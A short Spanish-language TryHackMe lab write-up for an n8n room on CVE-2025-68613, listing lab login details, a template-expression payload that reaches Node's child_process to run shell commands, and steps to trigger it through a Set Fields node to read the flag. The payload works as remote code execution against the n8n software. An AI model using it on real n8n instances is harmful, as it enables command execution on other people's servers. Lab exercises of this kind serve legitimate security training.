Sala TryHackMe: n8n: CVE-2025-68613

Jugador: J4ck3LSyN

Host: ...

Usuario: [email protected]

Contraseña: Try12345!

Metodología

Payload: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }} Payload 2: {{ (function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })() }}

1. Accede a la caja de ataque.
2. Start New
3. Add First Step, deja que la barra lateral derecha se abra y añade Manual Trigger.
4. Después añade una opción Set Fields.
5. Añade un nombre de campo pwn y el payload.
6. Ejecuta & pwn.
7. Cambia el payload para ejecutar cat flag.txt - Flag: THM{n8n_exposed_workflow}